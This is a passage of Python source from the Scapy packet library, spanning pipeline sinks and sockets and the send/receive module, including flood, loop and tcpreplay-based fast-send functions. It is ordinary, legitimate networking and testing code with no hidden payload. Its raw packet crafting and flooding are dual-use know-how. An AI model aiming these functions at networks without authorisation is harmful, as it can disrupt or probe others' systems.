+----------+ :param fname: Filename to write packets to. :type fname: str :param linktype: See :py:attr:`linktype`. :type linktype: None or int .. py:attribute:: linktype Set an explicit link-type (``DLT_``) for packets. This must be an ``int`` or ``None``. This is the same as the :py:func:`wrpcap` ``linktype`` parameter. If ``None`` (the default), the linktype will be auto-detected on the first packet. This field will *not* be updated with the result of this auto-detection. This attribute has no effect after calling :py:meth:`PipeEngine.start`. """ def __init__(self, fname, name=None, linktype=None, **kwargs): # type: (str, Optional[str], Optional[int], **Any) -> None Sink.__init__(self, name=name) self.fname = fname self.f = None # type: Optional[PcapWriter] self.linktype = linktype self.kwargs = kwargs def start(self): # type: () -> None self.f = PcapWriter(self.fname, linktype=self.linktype, **self.kwargs) def stop(self): # type: () -> None if self.f: self.f.flush() self.f.close() def push(self, msg): # type: (Packet) -> None if msg and self.f: self.f.write(msg) class WiresharkSink(WrpcapSink): """ Streams :py:class:`Packet` from the low entry to Wireshark. Packets are written into a ``pcap`` stream (like :py:class:`WrpcapSink`), and streamed to a new Wireshark process on its ``stdin``. Wireshark is run with the ``-ki -`` arguments, which cause it to treat ``stdin`` as a capture device. Arguments in :py:attr:`args` will be appended after this. Extends :py:mod:`WrpcapSink`. .. code:: +----------+ >>-| |->> | | >-|--[pcap] |-> +----------+ :param linktype: See :py:attr:`WrpcapSink.linktype`. :type linktype: None or int :param args: See :py:attr:`args`. :type args: None or list[str] .. py:attribute:: args Additional arguments for the Wireshark process. This must be either ``None`` (the default), or a ``list`` of ``str``. This attribute has no effect after calling :py:meth:`PipeEngine.start`. See :manpage:`wireshark(1)` for more details. """ def __init__(self, name=None, linktype=None, args=None): # type: (Optional[Any], Optional[int], Optional[List[str]]) -> None WrpcapSink.__init__(self, fname="", name=name, linktype=linktype) self.args = args def start(self): # type: () -> None # Wireshark must be running first, because PcapWriter will block until # data has been read! with ContextManagerSubprocess(conf.prog.wireshark): args = [conf.prog.wireshark, "-Slki", "-"] if self.args: args.extend(self.args) proc = subprocess.Popen( args, stdin=subprocess.PIPE, stdout=None, stderr=None, ) self.fname = proc.stdin # type: ignore WrpcapSink.start(self) class UDPDrain(Drain): """UDP payloads received on high entry are sent over UDP .. code:: +-------------+ >>-|--[payload]--|->> | X | >-|----[UDP]----|-> +-------------+ """ def __init__(self, ip="127.0.0.1", port=1234): # type: (str, int) -> None Drain.__init__(self) self.ip = ip self.port = port def push(self, msg): # type: (Packet) -> None from scapy.layers.inet import IP, UDP if IP in msg and msg[IP].proto == 17 and UDP in msg: payload = msg[UDP].payload self._high_send(raw(payload)) def high_push(self, msg): # type: (Packet) -> None from scapy.layers.inet import IP, UDP p = IP(dst=self.ip) / UDP(sport=1234, dport=self.port) / msg self._send(p) class FDSourceSink(Source): """Use a file descriptor as source and sink .. code:: +-------------+ >>-| |->> | | >-|-[file desc]-|-> +-------------+ """ def __init__(self, fd, name=None): # type: (ObjectPipe[Any], Optional[Any]) -> None Source.__init__(self, name=name) self.fd = fd def push(self, msg): # type: (str) -> None self.fd.write(msg) def fileno(self): # type: () -> int return self.fd.fileno() def deliver(self): # type: () -> None self._send(self.fd.read()) class TCPConnectPipe(Source): """TCP connect to addr:port and use it as source and sink .. code:: +-------------+ >>-| |->> | | >-|-[addr:port]-|-> +-------------+ """ __selectable_force_select__ = True def __init__(self, addr="", port=0, name=None): # type: (str, int, Optional[str]) -> None Source.__init__(self, name=name) self.addr = addr self.port = port self.fd = cast(socket.socket, None) def start(self): # type: () -> None self.fd = socket.socket() self.fd.connect((self.addr, self.port)) def stop(self): # type: () -> None if self.fd: self.fd.close() def push(self, msg): # type: (bytes) -> None self.fd.send(msg) def fileno(self): # type: () -> int return self.fd.fileno() def deliver(self): # type: () -> None try: msg = self.fd.recv(65536) except socket.error: self.stop() raise if msg: self._send(msg) class TCPListenPipe(TCPConnectPipe): """TCP listen on [addr:]port and use first connection as source and sink; send peer address to high output .. code:: +------^------+ >>-| +-[peer]-|->> | / | >-|-[addr:port]-|-> +-------------+ """ __selectable_force_select__ = True def __init__(self, addr="", port=0, name=None): # type: (str, int, Optional[str]) -> None TCPConnectPipe.__init__(self, addr, port, name) self.connected = False self.q: Queue[Any] = Queue() def start(self): # type: () -> None self.connected = False self.fd = socket.socket() self.fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.fd.bind((self.addr, self.port)) self.fd.listen(1) def push(self, msg): # type: (bytes) -> None if self.connected: self.fd.send(msg) else: self.q.put(msg) def deliver(self): # type: () -> None if self.connected: try: msg = self.fd.recv(65536) except socket.error: self.stop() raise if msg: self._send(msg) else: fd, frm = self.fd.accept() self._high_send(frm) self.fd.close() self.fd = fd self.connected = True self._trigger(frm) while True: try: self.fd.send(self.q.get(block=False)) except Empty: break class UDPClientPipe(TCPConnectPipe): """UDP send packets to addr:port and use it as source and sink Start trying to receive only once a packet has been send .. code:: +-------------+ >>-| |->> | | >-|-[addr:port]-|-> +-------------+ """ def __init__(self, addr="", port=0, name=None): # type: (str, int, Optional[str]) -> None TCPConnectPipe.__init__(self, addr, port, name) self.connected = False def start(self): # type: () -> None self.fd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.fd.connect((self.addr, self.port)) self.connected = True def push(self, msg): # type: (bytes) -> None self.fd.send(msg) def deliver(self): # type: () -> None if not self.connected: return try: msg = self.fd.recv(65536) except socket.error: self.stop() raise if msg: self._send(msg) class UDPServerPipe(TCPListenPipe): """UDP bind to [addr:]port and use as source and sink Use (ip, port) from first received IP packet as destination for all data .. code:: +------^------+ >>-| +-[peer]-|->> | / | >-|-[addr:port]-|-> +-------------+ """ def __init__(self, addr="", port=0, name=None): # type: (str, int, Optional[str]) -> None TCPListenPipe.__init__(self, addr, port, name) self._destination = None # type: Any def start(self): # type: () -> None self.fd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.fd.bind((self.addr, self.port)) def push(self, msg): # type: (bytes) -> None if self._destination: self.fd.sendto(msg, self._destination) else: self.q.put(msg) def deliver(self): # type: () -> None if self._destination: try: msg = self.fd.recv(65536) except socket.error: self.stop() raise if msg: self._send(msg) else: msg, dest = self.fd.recvfrom(65536) if msg: self._send(msg) self._destination = dest self._trigger(dest) self._high_send(dest) while True: try: msg = self.q.get(block=False) self.fd.sendto(msg, self._destination) except Empty: break class TriggeredMessage(Drain): """Send a preloaded message when triggered and trigger in chain .. code:: +------^------+ >>-| | /----|->> | |/ | >-|-[ message ]-|-> +------^------+ """ def __init__(self, msg, name=None): # type: (str, Optional[Any]) -> None Drain.__init__(self, name=name) self.msg = msg def on_trigger(self, trigmsg): # type: (bool) -> None self._send(self.msg) self._high_send(self.msg) self._trigger(trigmsg) class TriggerDrain(Drain): """Pass messages and trigger when a condition is met .. code:: +------^------+ >>-|-[condition]-|->> | | | >-|-[condition]-|-> +-------------+ """ def __init__(self, f, name=None): # type: (Callable[..., None], Optional[str]) -> None Drain.__init__(self, name=name) self.f = f def push(self, msg): # type: (str) -> None v = self.f(msg) if v: self._trigger(v) self._send(msg) def high_push(self, msg): # type: (str) -> None v = self.f(msg) if v: self._trigger(v) self._high_send(msg) class TriggeredValve(Drain): """Let messages alternatively pass or not, changing on trigger .. code:: +------^------+ >>-|-[pass/stop]-|->> | | | >-|-[pass/stop]-|-> +------^------+ """ def __init__(self, start_state=True, name=None): # type: (bool, Optional[Any]) -> None Drain.__init__(self, name=name) self.opened = start_state def push(self, msg): # type: (str) -> None if self.opened: self._send(msg) def high_push(self, msg): # type: (str) -> None if self.opened: self._high_send(msg) def on_trigger(self, msg): # type: (bool) -> None self.opened ^= True self._trigger(msg) class TriggeredQueueingValve(Drain): """Let messages alternatively pass or queued, changing on trigger .. code:: +------^-------+ >>-|-[pass/queue]-|->> | | | >-|-[pass/queue]-|-> +------^-------+ """ def __init__(self, start_state=True, name=None): # type: (bool, Optional[Any]) -> None Drain.__init__(self, name=name) self.opened = start_state self.q: Queue[Any] = Queue() def start(self): # type: () -> None self.q = Queue() def push(self, msg): # type: (str) -> None if self.opened: self._send(msg) else: self.q.put((True, msg)) def high_push(self, msg): # type: (str) -> None if self.opened: self._send(msg) else: self.q.put((False, msg)) def on_trigger(self, msg): # type: (bool) -> None self.opened ^= True self._trigger(msg) while True: try: low, msg = self.q.get(block=False) except Empty: break else: if low: self._send(msg) else: self._high_send(msg) class TriggeredSwitch(Drain): r"""Let messages alternatively high or low, changing on trigger .. code:: +------^------+ >>-|-\ | /-|->> | [up/down] | >-|-/ | \-|-> +------^------+ """ def __init__(self, start_state=True, name=None): # type: (bool, Optional[Any]) -> None Drain.__init__(self, name=name) self.low = start_state def push(self, msg): # type: (str) -> None if self.low: self._send(msg) else: self._high_send(msg) high_push = push def on_trigger(self, msg): # type: (bool) -> None self.low ^= True self._trigger(msg) ================================================ FILE: scapy/sendrecv.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Functions to send and receive packets. """ import itertools from threading import Thread, Event import os import re import socket import subprocess import time import warnings from scapy.compat import plain_str from scapy.data import ETH_P_ALL from scapy.config import conf from scapy.error import warning from scapy.interfaces import ( network_name, resolve_iface, NetworkInterface, ) from scapy.packet import Packet from scapy.pton_ntop import inet_pton from scapy.utils import get_temp_file, tcpdump, wrpcap, \ ContextManagerSubprocess, PcapReader, EDecimal from scapy.plist import ( PacketList, QueryAnswer, SndRcvList, ) from scapy.error import log_runtime, log_interactive, Scapy_Exception from scapy.base_classes import Gen, SetGen from scapy.sessions import DefaultSession from scapy.supersocket import SuperSocket, IterSocket # Typing imports from typing import ( Any, Callable, Dict, Iterator, List, Optional, Tuple, Type, Union, cast ) from scapy.interfaces import _GlobInterfaceType from scapy.plist import _PacketIterable if conf.route is None: # unused import, only to initialize conf.route and conf.iface* import scapy.route # noqa: F401 ################# # Debug class # ################# class debug: recv = PacketList([], "Received") sent = PacketList([], "Sent") match = SndRcvList([], "Matched") crashed_on = None # type: Optional[Tuple[Type[Packet], bytes]] #################### # Send / Receive # #################### _DOC_SNDRCV_PARAMS = """ :param pks: SuperSocket instance to send/receive packets :param pkt: the packet to send :param timeout: how much time to wait after the last packet has been sent :param inter: delay between two packets during sending :param verbose: set verbosity level :param chainCC: if True, KeyboardInterrupts will be forwarded :param retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered :param multi: whether to accept multiple answers for the same stimulus :param first: stop after receiving the first response of any sent packet :param rcv_pks: if set, will be used instead of pks to receive packets. packets will still be sent through pks :param prebuild: pre-build the packets before starting to send them. Automatically enabled when a generator is passed as the packet :param _flood: :param threaded: if True, packets are sent in a thread and received in another. Defaults to True. :param session: a flow decoder used to handle stream of packets :param chainEX: if True, exceptions during send will be forwarded :param stop_filter: Python function applied to each packet to determine if we have to stop the capture after this packet. """ _GlobSessionType = Union[Type[DefaultSession], DefaultSession] class SndRcvHandler(object): """ Util to send/receive packets, used by sr*(). Do not use directly. This matches the requests and answers. Notes:: - threaded: if you're planning to send/receive many packets, it's likely a good idea to use threaded mode. - DEVS: store the outgoing timestamp right BEFORE sending the packet to avoid races that could result in negative latency. We aren't Stadia """ def __init__(self, pks, # type: SuperSocket pkt, # type: _PacketIterable timeout=None, # type: Optional[int] inter=0, # type: int verbose=None, # type: Optional[int] chainCC=False, # type: bool retry=0, # type: int multi=False, # type: bool first=False, # type: bool rcv_pks=None, # type: Optional[SuperSocket] prebuild=False, # type: bool _flood=None, # type: Optional[_FloodGenerator] threaded=True, # type: bool session=None, # type: Optional[_GlobSessionType] chainEX=False, # type: bool stop_filter=None # type: Optional[Callable[[Packet], bool]] ): # type: (...) -> None # Instantiate all arguments if verbose is None: verbose = conf.verb if conf.debug_match: debug.recv = PacketList([], "Received") debug.sent = PacketList([], "Sent") debug.match = SndRcvList([], "Matched") self.nbrecv = 0 self.ans = [] # type: List[QueryAnswer] self.pks = pks self.rcv_pks = rcv_pks or pks self.inter = inter self.verbose = verbose self.chainCC = chainCC self.multi = multi self.timeout = timeout self.first = first self.session = session self.chainEX = chainEX self.stop_filter = stop_filter self._send_done = False self.notans = 0 self.noans = 0 self._flood = _flood self.threaded = threaded self.breakout = Event() # Instantiate packet holders if prebuild and not self._flood: self.tobesent = list(pkt) # type: _PacketIterable else: self.tobesent = pkt if retry < 0: autostop = retry = -retry else: autostop = 0 if timeout is not None and timeout < 0: self.timeout = None while retry >= 0: self.breakout.clear() self.hsent = {} # type: Dict[bytes, List[Packet]] if threaded or self._flood: # Send packets in thread. snd_thread = Thread( target=self._sndrcv_snd ) snd_thread.daemon = True # Start routine with callback interrupted = None try: self._sndrcv_rcv(snd_thread.start) except KeyboardInterrupt as ex: interrupted = ex self.breakout.set() # Ended. Let's close gracefully if self._flood: # Flood: stop send thread self._flood.stop() snd_thread.join() if interrupted and self.chainCC: raise interrupted else: # Send packets, then receive. try: self._sndrcv_rcv(self._sndrcv_snd) except KeyboardInterrupt: if self.chainCC: raise if multi: remain = [ p for p in itertools.chain(*self.hsent.values()) if not hasattr(p, '_answered') ] else: remain = list(itertools.chain(*self.hsent.values())) if autostop and len(remain) > 0 and \ len(remain) != len(self.tobesent): retry = autostop self.tobesent = remain if len(self.tobesent) == 0: break retry -= 1 if conf.debug_match: debug.sent = PacketList(remain[:], "Sent") debug.match = SndRcvList(self.ans[:]) # Clean the ans list to delete the field _answered if multi: for snd, _ in self.ans: if hasattr(snd, '_answered'): del snd._answered if verbose: print( "\nReceived %i packets, got %i answers, " "remaining %i packets" % ( self.nbrecv + len(self.ans), len(self.ans), max(0, self.notans - self.noans) ) ) self.ans_result = SndRcvList(self.ans) self.unans_result = PacketList(remain, "Unanswered") def results(self): # type: () -> Tuple[SndRcvList, PacketList] return self.ans_result, self.unans_result def _stop_sniffer_if_done(self) -> None: """Close the sniffer if all expected answers have been received""" if ( self._send_done and self.noans >= self.notans and not self.multi or self.first and self.noans ): if self.sniffer and self.sniffer.running: self.sniffer.stop(join=False) def _sndrcv_snd(self): # type: () -> None """Function used in the sending thread of sndrcv()""" i = 0 p = None try: if self.verbose: os.write(1, b"Begin emission\n") for p in self.tobesent: # Populate the dictionary of _sndrcv_rcv # _sndrcv_rcv won't miss the answer of a packet that # has not been sent self.hsent.setdefault(p.hashret(), []).append(p) # Send packet self.pks.send(p) time.sleep(self.inter) if self.breakout.is_set(): break i += 1 if self.verbose: os.write(1, b"\nFinished sending %i packets\n" % i) except SystemExit: pass except Exception: if self.chainEX: raise else: log_runtime.exception("--- Error sending packets") finally: try: cast(Packet, self.tobesent).sent_time = \ cast(Packet, p).sent_time except AttributeError: pass if self._flood: self.notans = self._flood.iterlen elif not self._send_done: self.notans = i self._send_done = True self._stop_sniffer_if_done() # In threaded mode, timeout if self.threaded and self.timeout is not None and not self.breakout.is_set(): self.breakout.wait(timeout=self.timeout) if self.sniffer and self.sniffer.running: self.sniffer.stop() def _process_packet(self, r): # type: (Packet) -> None """Internal function used to process each packet.""" if r is None: return ok = False h = r.hashret() if h in self.hsent: hlst = self.hsent[h] for i, sentpkt in enumerate(hlst): if r.answers(sentpkt): self.ans.append(QueryAnswer(sentpkt, r)) if self.verbose > 1: os.write(1, b"*") ok = True if not self.multi: del hlst[i] self.noans += 1 else: if not hasattr(sentpkt, '_answered'): self.noans += 1 sentpkt._answered = 1 break self._stop_sniffer_if_done() if not ok: if self.verbose > 1: os.write(1, b".") self.nbrecv += 1 if conf.debug_match: debug.recv.append(r) def _sndrcv_rcv(self, callback): # type: (Callable[[], None]) -> None """Function used to receive packets and check their hashret""" # This is blocking. self.sniffer = None # type: Optional[AsyncSniffer] self.sniffer = AsyncSniffer() self.sniffer._run( prn=self._process_packet, timeout=None if self.threaded and not self._flood else self.timeout, store=False, opened_socket=self.rcv_pks, session=self.session, stop_filter=self.stop_filter, started_callback=callback, chainCC=True, ) def sndrcv(*args, **kwargs): # type: (*Any, **Any) -> Tuple[SndRcvList, PacketList] """Scapy raw function to send a packet and receive its answer. WARNING: This is an internal function. Using sr/srp/sr1/srp is more appropriate in many cases. """ sndrcver = SndRcvHandler(*args, **kwargs) return sndrcver.results() def __gen_send(s, # type: SuperSocket x, # type: _PacketIterable inter=0, # type: int loop=0, # type: int count=None, # type: Optional[int] verbose=None, # type: Optional[int] realtime=False, # type: bool return_packets=False, # type: bool *args, # type: Any **kargs # type: Any ): # type: (...) -> Optional[PacketList] """ An internal function used by send/sendp to actually send the packets, implement the send logic... It will take care of iterating through the different packets """ if isinstance(x, str): x = conf.raw_layer(load=x) if not isinstance(x, Gen): x = SetGen(x) if verbose is None: verbose = conf.verb n = 0 if count is not None: loop = -count elif not loop: loop = -1 sent_packets = PacketList() if return_packets else None p = None try: while loop: dt0 = None for p in x: if realtime: ct = time.time() if dt0: st = dt0 + float(p.time) - ct if st > 0: time.sleep(st) else: dt0 = ct - float(p.time) s.send(p) if sent_packets is not None: sent_packets.append(p) n += 1 if verbose: os.write(1, b".") time.sleep(inter) if loop < 0: loop += 1 except KeyboardInterrupt: pass finally: try: cast(Packet, x).sent_time = cast(Packet, p).sent_time except AttributeError: pass if verbose: print("\nSent %i packets." % n) return sent_packets def _send(x, # type: _PacketIterable _func, # type: Callable[[NetworkInterface], Type[SuperSocket]] inter=0, # type: int loop=0, # type: int iface=None, # type: Optional[_GlobInterfaceType] count=None, # type: Optional[int] verbose=None, # type: Optional[int] realtime=False, # type: bool return_packets=False, # type: bool socket=None, # type: Optional[SuperSocket] **kargs # type: Any ): # type: (...) -> Optional[PacketList] """Internal function used by send and sendp""" need_closing = socket is None iface = resolve_iface(iface or conf.iface) socket = socket or _func(iface)(iface=iface, **kargs) results = __gen_send(socket, x, inter=inter, loop=loop, count=count, verbose=verbose, realtime=realtime, return_packets=return_packets) if need_closing: socket.close() return results @conf.commands.register def send(x, # type: _PacketIterable **kargs # type: Any ): # type: (...) -> Optional[PacketList] """ Send packets at layer 3 This determines the interface (or L2 source to use) based on the routing table: conf.route / conf.route6 :param x: the packets :param inter: time (in s) between two packets (default 0) :param loop: send packet indefinitely (default 0) :param count: number of packets to send (default None=1) :param verbose: verbose mode (default None=conf.verb) :param realtime: check that a packet was sent before sending the next one :param return_packets: return the sent packets :param socket: the socket to use (default is conf.L3socket(kargs)) :param monitor: (not on linux) send in monitor mode :returns: None """ if "iface" in kargs: # Warn that it isn't used. warnings.warn( "'iface' has no effect on L3 I/O send(). For multicast/link-local " "see https://scapy.readthedocs.io/en/latest/usage.html#multicast", SyntaxWarning, ) del kargs["iface"] iface, ipv6 = _interface_selection(x) return _send( x, lambda iface: iface.l3socket(ipv6), iface=iface, **kargs ) @conf.commands.register def sendp(x, # type: _PacketIterable iface=None, # type: Optional[_GlobInterfaceType] iface_hint=None, # type: Optional[str] socket=None, # type: Optional[SuperSocket] **kargs # type: Any ): # type: (...) -> Optional[PacketList] """ Send packets at layer 2 :param x: the packets :param inter: time (in s) between two packets (default 0) :param loop: send packet indefinitely (default 0) :param count: number of packets to send (default None=1) :param verbose: verbose mode (default None=conf.verb) :param realtime: check that a packet was sent before sending the next one :param return_packets: return the sent packets :param socket: the socket to use (default is conf.L3socket(kargs)) :param iface: the interface to send the packets on :param monitor: (not on linux) send in monitor mode :returns: None """ if iface is None and iface_hint is not None and socket is None: iface = conf.route.route(iface_hint)[0] return _send( x, lambda iface: iface.l2socket(), iface=iface, socket=socket, **kargs ) @conf.commands.register def sendpfast(x: _PacketIterable, pps: Optional[float] = None, mbps: Optional[float] = None, realtime: bool = False, count: Optional[int] = None, loop: int = 0, file_cache: bool = False, iface: Optional[_GlobInterfaceType] = None, replay_args: Optional[List[str]] = None, parse_results: bool = False, ): # type: (...) -> Optional[Dict[str, Any]] """Send packets at layer 2 using tcpreplay for performance :param pps: packets per second :param mbps: MBits per second :param realtime: use packet's timestamp, bending time with real-time value :param loop: send the packet indefinitely (default 0) :param count: number of packets to send (default None=1) :param file_cache: cache packets in RAM instead of reading from disk at each iteration :param iface: output interface :param replay_args: List of additional tcpreplay args (List[str]) :param parse_results: Return a dictionary of information outputted by tcpreplay (default=False) :returns: stdout, stderr, command used """ if iface is None: iface = conf.iface argv = [conf.prog.tcpreplay, "--intf1=%s" % network_name(iface)] if pps is not None: argv.append("--pps=%f" % pps) elif mbps is not None: argv.append("--mbps=%f" % mbps) elif realtime is not None: argv.append("--multiplier=%f" % realtime) else: argv.append("--topspeed") if count: assert not loop, "Can't use loop and count at the same time in sendpfast" argv.append("--loop=%i" % count) elif loop: argv.append("--loop=0") if file_cache: argv.append("--preload-pcap") # Check for any additional args we didn't cover. if replay_args is not None: argv.extend(replay_args) f = get_temp_file() argv.append(f) wrpcap(f, x) results = None with ContextManagerSubprocess(conf.prog.tcpreplay): try: cmd = subprocess.Popen(argv, stdout=subprocess.PIPE, stderr=subprocess.PIPE) cmd.wait() except KeyboardInterrupt: if cmd: cmd.terminate() log_interactive.info("Interrupted by user") except Exception: os.unlink(f) raise finally: stdout, stderr = cmd.communicate() if stderr: log_runtime.warning(stderr.decode()) if parse_results: results = _parse_tcpreplay_result(stdout, stderr, argv) elif conf.verb > 2: log_runtime.info(stdout.decode()) if os.path.exists(f): os.unlink(f) return results def _parse_tcpreplay_result(stdout_b, stderr_b, argv): # type: (bytes, bytes, List[str]) -> Dict[str, Any] """ Parse the output of tcpreplay and modify the results_dict to populate output information. # noqa: E501 Tested with tcpreplay v3.4.4 Tested with tcpreplay v4.1.2 :param stdout: stdout of tcpreplay subprocess call :param stderr: stderr of tcpreplay subprocess call :param argv: the command used in the subprocess call :return: dictionary containing the results """ try: results = {} stdout = plain_str(stdout_b).lower() stderr = plain_str(stderr_b).strip().split("\n") elements = { "actual": (int, int, float), "rated": (float, float, float), "flows": (int, float, int, int), "attempted": (int,), "successful": (int,), "failed": (int,), "truncated": (int,), "retried packets (eno": (int,), "retried packets (eag": (int,), } multi = { "actual": ("packets", "bytes", "time"), "rated": ("bps", "mbps", "pps"), "flows": ("flows", "fps", "flow_packets", "non_flow"), "retried packets (eno": ("retried_enobufs",), "retried packets (eag": ("retried_eagain",), } float_reg = r"([0-9]*\.[0-9]+|[0-9]+)" int_reg = r"([0-9]+)" any_reg = r"[^0-9]*" r_types = {int: int_reg, float: float_reg} for line in stdout.split("\n"): line = line.strip() for elt, _types in elements.items(): if line.startswith(elt): regex = any_reg.join([r_types[x] for x in _types]) matches = re.search(regex, line) for i, typ in enumerate(_types): name = multi.get(elt, [elt])[i] if matches: results[name] = typ(matches.group(i + 1)) results["command"] = " ".join(argv) results["warnings"] = stderr[:-1] return results except Exception as parse_exception: if not conf.interactive: raise log_runtime.error("Error parsing output: %s", parse_exception) return {} def _interface_selection(packet: _PacketIterable) -> Tuple[NetworkInterface, bool]: """ Select the network interface according to the layer 3 destination """ _iff, src, _ = next(packet.__iter__()).route() ipv6 = False if src: try: inet_pton(socket.AF_INET6, src) ipv6 = True except (ValueError, OSError): pass try: iff = resolve_iface(_iff or conf.iface) except AttributeError: iff = None return iff or conf.iface, ipv6 @conf.commands.register def sr(x, # type: _PacketIterable promisc=None, # type: Optional[bool] filter=None, # type: Optional[str] nofilter=0, # type: int *args, # type: Any **kargs # type: Any ): # type: (...) -> Tuple[SndRcvList, PacketList] """ Send and receive packets at layer 3 This determines the interface (or L2 source to use) based on the routing table: conf.route / conf.route6 """ if "iface" in kargs: # Warn that it isn't used. warnings.warn( "'iface' has no effect on L3 I/O sr(). For multicast/link-local " "see https://scapy.readthedocs.io/en/latest/usage.html#multicast", SyntaxWarning, ) del kargs["iface"] iface, ipv6 = _interface_selection(x) s = iface.l3socket(ipv6)( promisc=promisc, filter=filter, iface=iface, nofilter=nofilter, ) result = sndrcv(s, x, *args, **kargs) s.close() return result @conf.commands.register def sr1(*args, **kargs): # type: (*Any, **Any) -> Optional[Packet] """ Send packets at layer 3 and return only the first answer This determines the interface (or L2 source to use) based on the routing table: conf.route / conf.route6 """ if "iface" in kargs: # Warn that it isn't used. warnings.warn( "'iface' has no effect on L3 I/O sr1(). For multicast/link-local " "see https://scapy.readthedocs.io/en/latest/usage.html#multicast", SyntaxWarning, ) del kargs["iface"] ans, _ = sr(*args, **kargs) if ans: return cast(Packet, ans[0][1]) return None @conf.commands.register def srp(x, # type: _PacketIterable promisc=None, # type: Optional[bool] iface=None, # type: Optional[_GlobInterfaceType] iface_hint=None, # type: Optional[str] filter=None, # type: Optional[str] nofilter=0, # type: int type=ETH_P_ALL, # type: int *args, # type: Any **kargs # type: Any ): # type: (...) -> Tuple[SndRcvList, PacketList] """ Send and receive packets at layer 2 """ if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] iface = resolve_iface(iface or conf.iface) s = iface.l2socket()(promisc=promisc, iface=iface, filter=filter, nofilter=nofilter, type=type) result = sndrcv(s, x, *args, **kargs) s.close() return result @conf.commands.register def srp1(*args, **kargs): # type: (*Any, **Any) -> Optional[Packet] """ Send and receive packets at layer 2 and return only the first answer """ ans, _ = srp(*args, **kargs) if len(ans) > 0: return cast(Packet, ans[0][1]) return None # Append doc for sr_func in [srp, srp1, sr, sr1]: if sr_func.__doc__ is not None: sr_func.__doc__ += _DOC_SNDRCV_PARAMS # SEND/RECV LOOP METHODS def __sr_loop(srfunc, # type: Callable[..., Tuple[SndRcvList, PacketList]] pkts, # type: _PacketIterable prn=lambda x: x[1].summary(), # type: Optional[Callable[[QueryAnswer], Any]] # noqa: E501 prnfail=lambda x: x.summary(), # type: Optional[Callable[[Packet], Any]] inter=1, # type: int timeout=None, # type: Optional[int] count=None, # type: Optional[int] verbose=None, # type: Optional[int] store=1, # type: int *args, # type: Any **kargs # type: Any ): # type: (...) -> Tuple[SndRcvList, PacketList] n = 0 r = 0 ct = conf.color_theme if verbose is None: verbose = conf.verb parity = 0 ans = [] # type: List[QueryAnswer] unans = [] # type: List[Packet] if timeout is None: timeout = min(2 * inter, 5) try: while True: parity ^= 1 col = [ct.even, ct.odd][parity] if count is not None: if count == 0: break count -= 1 start = time.monotonic() if verbose > 1: print("\rsend...\r", end=' ') res = srfunc(pkts, timeout=timeout, verbose=0, chainCC=True, *args, **kargs) # noqa: E501 n += len(res[0]) + len(res[1]) r += len(res[0]) if verbose > 1 and prn and len(res[0]) > 0: msg = "RECV %i:" % len(res[0]) print("\r" + ct.success(msg), end=' ') for rcv in res[0]: print(col(prn(rcv))) print(" " * len(msg), end=' ') if verbose > 1 and prnfail and len(res[1]) > 0: msg = "fail %i:" % len(res[1]) print("\r" + ct.fail(msg), end=' ') for fail in res[1]: print(col(prnfail(fail))) print(" " * len(msg), end=' ') if verbose > 1 and not (prn or prnfail): print("recv:%i fail:%i" % tuple( map(len, res[:2]) # type: ignore )) if verbose == 1: if res[0]: os.write(1, b"*") if res[1]: os.write(1, b".") if store: ans += res[0] unans += res[1] end = time.monotonic() if end - start < inter: time.sleep(inter + start - end) except KeyboardInterrupt: pass if verbose and n > 0: print(ct.normal("\nSent %i packets, received %i packets. %3.1f%% hits." % (n, r, 100.0 * r / n))) # noqa: E501 return SndRcvList(ans), PacketList(unans) @conf.commands.register def srloop(pkts, # type: _PacketIterable *args, # type: Any **kargs # type: Any ): # type: (...) -> Tuple[SndRcvList, PacketList] """ Send a packet at layer 3 in loop and print the answer each time srloop(pkts, [prn], [inter], [count], ...) --> None """ return __sr_loop(sr, pkts, *args, **kargs) @conf.commands.register def srploop(pkts, # type: _PacketIterable *args, # type: Any **kargs # type: Any ): # type: (...) -> Tuple[SndRcvList, PacketList] """ Send a packet at layer 2 in loop and print the answer each time srloop(pkts, [prn], [inter], [count], ...) --> None """ return __sr_loop(srp, pkts, *args, **kargs) # SEND/RECV FLOOD METHODS class _FloodGenerator(object): def __init__(self, tobesent, maxretries): # type: (_PacketIterable, Optional[int]) -> None self.tobesent = tobesent self.maxretries = maxretries self.stopevent = Event() self.iterlen = 0 def __iter__(self): # type: () -> Iterator[Packet] i = 0 while True: i += 1 j = 0 if self.maxretries and i >= self.maxretries: return for p in self.tobesent: if self.stopevent.is_set(): return j += 1 yield p if self.iterlen == 0: self.iterlen = j @property def sent_time(self): # type: () -> Union[EDecimal, float, None] return cast(Packet, self.tobesent).sent_time @sent_time.setter def sent_time(self, val): # type: (Union[EDecimal, float, None]) -> None cast(Packet, self.tobesent).sent_time = val def stop(self): # type: () -> None self.stopevent.set() def sndrcvflood(pks, # type: SuperSocket pkt, # type: _PacketIterable inter=0, # type: int maxretries=None, # type: Optional[int] verbose=None, # type: Optional[int] chainCC=False, # type: bool timeout=None # type: Optional[int] ): # type: (...) -> Tuple[SndRcvList, PacketList] """sndrcv equivalent for flooding.""" flood_gen = _FloodGenerator(pkt, maxretries) return sndrcv( pks, flood_gen, inter=inter, verbose=verbose, chainCC=chainCC, timeout=timeout, _flood=flood_gen ) @conf.commands.register def srflood(x, # type: _PacketIterable promisc=None, # type: Optional[bool] filter=None, # type: Optional[str] iface=None, # type: Optional[_GlobInterfaceType] nofilter=None, # type: Optional[bool] *args, # type: Any **kargs # type: Any ): # type: (...) -> Tuple[SndRcvList, PacketList] """Flood and receive packets at layer 3 This determines the interface (or L2 source to use) based on the routing table: conf.route / conf.route6 :param prn: function applied to packets received :param unique: only consider packets whose print :param nofilter: put 1 to avoid use of BPF filters :param filter: provide a BPF filter """ if "iface" in kargs: # Warn that it isn't used. warnings.warn( "'iface' has no effect on L3 I/O srflood(). For multicast/link-local " "see https://scapy.readthedocs.io/en/latest/usage.html#multicast", SyntaxWarning, ) del kargs["iface"] iface, ipv6 = _interface_selection(x) s = iface.l3socket(ipv6)( promisc=promisc, filter=filter, iface=iface, nofilter=nofilter, ) r = sndrcvflood(s, x, *args, **kargs) s.close() return r @conf.commands.register def sr1flood(x, # type: _PacketIterable promisc=None, # type: Optional[bool] filter=None, # type: Optional[str] 